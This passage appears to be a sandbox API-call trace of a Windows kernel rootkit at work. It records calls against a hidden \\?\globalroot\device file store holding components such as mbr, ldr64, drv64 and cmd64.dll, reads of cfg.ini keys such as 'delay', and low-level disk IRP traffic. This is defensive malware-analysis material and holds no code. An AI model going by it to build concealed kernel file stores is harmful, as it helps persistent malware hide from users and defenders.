(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.800] ReleaseMutex (hMutex=0xf0) returned 1 [0124.800] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.800] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.800] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.800] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.800] KeEnterCriticalRegion () [0124.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.800] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.800] IdePortDispatch () returned 0x103 [0124.800] KeWaitForMutexObject () returned 0x0 [0124.800] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.800] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.800] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.800] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.800] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.800] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.800] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.800] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.800] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.800] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.800] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.800] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.800] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.800] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.800] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.800] KeLeaveCriticalRegion () [0124.800] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.800] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.800] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.800] KeEnterCriticalRegion () [0124.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.800] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.801] IdePortDispatch () returned 0x103 [0124.801] KeWaitForMutexObject () returned 0x0 [0124.801] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.801] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.801] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.801] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.801] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.801] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.801] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.801] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.801] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.801] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.801] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.801] KeLeaveCriticalRegion () [0124.801] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.801] ReleaseMutex (hMutex=0x100) returned 1 [0124.801] Sleep (dwMilliseconds=0x2bf20) [0124.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d977130, dwHighDateTime=0x1d24fa4)) [0124.807] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.807] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.807] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.808] KeEnterCriticalRegion () [0124.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.808] IdePortDispatch () returned 0x103 [0124.808] KeWaitForMutexObject () returned 0x0 [0124.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.808] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.808] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3220 [0124.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.808] KeLeaveCriticalRegion () [0124.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.808] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.808] KeEnterCriticalRegion () [0124.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.808] KeLeaveCriticalRegion () [0124.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.808] KeEnterCriticalRegion () [0124.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.808] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.808] IdePortDispatch () returned 0x103 [0124.809] KeWaitForMutexObject () returned 0x0 [0124.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.809] KeLeaveCriticalRegion () [0124.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.809] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.809] KeEnterCriticalRegion () [0124.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c4000 [0124.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.809] IdePortDispatch () returned 0x103 [0124.809] KeWaitForMutexObject () returned 0x0 [0124.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.809] IdePortDispatch () returned 0x103 [0124.809] KeWaitForMutexObject () returned 0x0 [0124.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.809] KeLeaveCriticalRegion () [0124.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.810] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.810] KeEnterCriticalRegion () [0124.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] KeLeaveCriticalRegion () [0124.810] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.810] KeEnterCriticalRegion () [0124.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.810] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] KeLeaveCriticalRegion () [0124.810] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.810] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.810] KeEnterCriticalRegion () [0124.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] ExFreePoolWithTag (P=0xfffffa8003bf3220, Tag=0x0) [0124.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] KeLeaveCriticalRegion () [0124.810] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.810] ReleaseMutex (hMutex=0xf0) returned 1 [0124.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.810] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.810] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.810] KeEnterCriticalRegion () [0124.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.811] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.811] IdePortDispatch () returned 0x103 [0124.811] KeWaitForMutexObject () returned 0x0 [0124.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2170 [0124.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.811] KeLeaveCriticalRegion () [0124.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.811] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.811] KeEnterCriticalRegion () [0124.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.811] KeLeaveCriticalRegion () [0124.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.811] KeEnterCriticalRegion () [0124.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.811] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.811] IdePortDispatch () returned 0x103 [0124.811] KeWaitForMutexObject () returned 0x0 [0124.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.812] KeLeaveCriticalRegion () [0124.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.812] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.812] KeEnterCriticalRegion () [0124.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c5000 [0124.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.812] IdePortDispatch () returned 0x103 [0124.812] KeWaitForMutexObject () returned 0x0 [0124.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.812] IdePortDispatch () returned 0x103 [0124.812] KeWaitForMutexObject () returned 0x0 [0124.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.812] KeLeaveCriticalRegion () [0124.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.813] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.813] KeEnterCriticalRegion () [0124.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] KeLeaveCriticalRegion () [0124.813] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.813] KeEnterCriticalRegion () [0124.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf30e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] KeLeaveCriticalRegion () [0124.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.813] KeEnterCriticalRegion () [0124.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] ExFreePoolWithTag (P=0xfffffa8003bf2170, Tag=0x0) [0124.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] KeLeaveCriticalRegion () [0124.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.813] ReleaseMutex (hMutex=0xf0) returned 1 [0124.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.813] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.813] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.813] KeEnterCriticalRegion () [0124.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.813] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.813] IdePortDispatch () returned 0x103 [0124.813] KeWaitForMutexObject () returned 0x0 [0124.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.814] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.814] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.814] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.814] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.814] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.814] KeLeaveCriticalRegion () [0124.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.814] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.814] KeEnterCriticalRegion () [0124.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.814] KeLeaveCriticalRegion () [0124.814] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.814] KeEnterCriticalRegion () [0124.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.814] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.814] IdePortDispatch () returned 0x103 [0124.814] KeWaitForMutexObject () returned 0x0 [0124.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.814] KeLeaveCriticalRegion () [0124.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.814] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.814] KeEnterCriticalRegion () [0124.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c6000 [0124.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, 